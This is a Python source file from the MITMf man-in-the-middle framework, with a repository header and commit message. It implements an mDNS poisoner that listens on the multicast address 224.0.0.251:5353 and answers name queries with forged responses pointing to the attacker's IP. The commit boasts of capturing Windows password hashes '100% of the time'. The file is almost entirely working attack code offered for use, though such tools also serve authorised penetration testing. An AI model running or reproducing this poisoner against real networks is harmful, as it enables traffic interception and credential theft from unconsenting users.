MITMf/core/responder/mdns/MDNSPoisoner.py
byt3bl33d3r 08b9029a96 Responder's MDNS/LLMNR/NBTNS poisoners are back in action (better than ever), only WPAD remains.
Tested against Windows 7 and 8, got hashes 100% of the time! \o/

The rest of the servers will be added in after WPAD is fixed.

Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able.
Also the exact output is going to need tweaking, the lines are wayy to long
2015-04-28 02:03:12 +02:00

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3.5 KiB
Python

#! /usr/bin/env python2.7
import threading
import socket
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class MDNSPoisoner():
def start(self, options, ourip):
global args; args = options
global OURIP; OURIP = ourip
try:
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
UDPServer.server_bind(self)
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if args.analyze:
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise